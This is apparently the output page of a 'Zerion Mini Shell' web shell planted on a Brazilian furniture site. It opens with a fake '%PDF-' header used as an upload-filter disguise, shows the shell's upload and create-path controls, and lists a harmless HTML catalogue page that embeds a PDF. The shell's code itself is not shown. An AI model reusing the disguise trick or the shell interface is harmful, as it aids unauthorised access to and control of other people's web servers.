%PDF- %PDF-
Mini Shell

Mini Shell

Direktori : /home/komfo908/www/catalogo/Old/
Upload File :
Create Path :
Current File : /home/komfo908/www/catalogo/Old/index.html

<!DOCTYPE html>
<html lang="pt-BR">
<head>
    <meta charset="UTF-8">
    <meta name="viewport" content="width=device-width, initial-scale=1.0">
    <title>Catálogo Komfort House</title>
    <style>
        body, html {
            margin: 0;
            padding: 0;
            height: 100%;
        }
        embed {
            display: block;
            width: 100%;
            height: 100vh; /* 100% da altura da tela */
            border: none;
        }
        h1 {
            text-align: center;
            padding: 20px;
            font-size: 24px;
            color: #333;
        }
        @media (max-width: 768px) {
            h1 {
                font-size: 18px;
                padding: 10px;
            }
        }
    </style>
</head>
<body>
    <embed id="pdfViewer" src="/index.pdf" type="application/pdf" />
    
    <script>
        // Função para extrair o número da página da URL
        function getPageFromUrl() {
            const url = window.location.pathname;  // Obtém a URL atual
            const matches = url.match(/pagina\/(\d+)/);  // Verifica se a URL contém "pagina/numero"
            return matches ? matches[1] : null;  // Retorna o número da página ou null
        }

        // Obtém o número da página e atualiza o PDF
        const page = getPageFromUrl();
        const pdfViewer = document.getElementById('pdfViewer');

        if (page) {
            // Adiciona o parâmetro #page= para abrir a página específica
            pdfViewer.src = `/index.pdf#page=${page}`;
        }
    </script>
</body>
</html>

Zerion Mini Shell 1.0